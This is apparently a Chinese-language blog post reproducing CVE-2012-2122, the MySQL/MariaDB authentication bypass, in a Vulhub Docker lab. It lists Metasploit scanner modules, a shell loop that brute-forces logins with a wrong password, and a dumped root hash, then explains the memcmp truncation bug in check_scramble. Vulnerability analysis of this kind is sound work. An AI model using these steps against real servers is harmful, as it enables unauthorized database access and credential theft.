CVE-2012-2122

d1k3siy

于 2025-02-09 22:15:26 发布

阅读量618

点赞数 25

分类专栏： CVE漏洞复现与分析文章标签：网络安全 mysql

本文链接：https://blog.youkuaiyun.com/Dikesi/article/details/145538145

版权

CVE漏洞复现与分析专栏收录该内容

40 篇文章

订阅专栏

CVE-2012-2122（Mysql 身份认证绕过漏洞）

漏洞描述

当连接MariaDB/MySQL时，输入的密码会与期望的正确密码比较，由于不正确的处理，会导致即便是memcmp()返回一个非零值，也会使MySQL认为两个密码是相同的。 也就是说只要知道用户名，不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。而且漏洞利用工具已经出现

影响版本

MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23 are not.
MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not.

环境配置

Vulhub项目
Docker-compose启动

漏洞复现

漏洞存在验证

use auxiliary/scanner/mysql/mysql_version

[!important]
该模块在MSF中的作用就是判断mysql是否可以外连，如果可以外连，那么就会显示版本

use auxiliary/scanner/mysql/mysql_authbypass_hashdump

[!info]
存在该漏洞

for i in `seq 1 1000`; do mysql -u{User} -pwrong -h {IP}  ; done

[!success]
可以看到在失败一定次数后，成功连接mysql服务端

[!NOTE]

当然也可以使用MSF进行利用，在使用auxiliary/scanner/mysql/mysql_authbypass_hashdump模块时我们可以看到用户密码hash已经探测出了，只要能破解hash也可以直接用user:pass登录

root：6BB4837EB74329105EE4568DDA7DC67ED2CA2AD9

漏洞原理

有问题的MySQL源码如下：

my_bool check_scramble(const uchar *scramble_arg, const char *message,  
               const uint8 *hash_stage2)  
{  
  SHA1_CONTEXT sha1_context;  
  uint8 buf[SHA1_HASH_SIZE];  
  uint8 hash_stage2_reassured[SHA1_HASH_SIZE];  
 
  mysql_sha1_reset(&sha1_context);  
  /* create key to encrypt scramble */ mysql_sha1_input(&sha1_context, (const uint8 *) message, SCRAMBLE_LENGTH);  
  mysql_sha1_input(&sha1_context, hash_stage2, SHA1_HASH_SIZE);  
  mysql_sha1_result(&sha1_context, buf);  
  /* encrypt scramble */ my_crypt((char *) buf, buf, scramble_arg, SCRAMBLE_LENGTH);  
  /* now buf supposedly contains hash_stage1: so we can get hash_stage2 */ mysql_sha1_reset(&sha1_context);  
  mysql_sha1_input(&sha1_context, buf, SHA1_HASH_SIZE);  
  mysql_sha1_result(&sha1_context, hash_stage2_reassured);  
  return memcmp(hash_stage2, hash_stage2_reassured, SHA1_HASH_SIZE);  
}

memcmp的返回值实际上是int，而my_bool实际上是char。那么在把int转换成char的时候，就有可能发生截断。比如，memcmp返回0×200，截断后变成了0，调用check_scramble函数的就误以为“password is correct“。

但是一般来说，memcmp的返回值都在[127,-128]之内，把两个字符串逐个字符的比较，如果找到不一样的，就把这两个字符相减后返回。但是这样逐个逐个的比较，速度太慢。而且C语言标准中并没有要求返回值一定在char的可表示范围内。Linux的glibc一般使用的是SSE优化后的代码，它会一次读取多个字节，然后相减，结果可能是一个很大的数。但是一般来讲，在拿GCC编译C/C++程序的时候，对于memcmp/memcpy这样的常用函数，GCC会优先使用编译器内置的实现（而非glibc中的）。所以这个BUG只在特定的编译环境下才会触发：即编译MySQL的时候在CFLAGS中加了-fno-builtin，并且所使用的glibc是经SSE优化后的。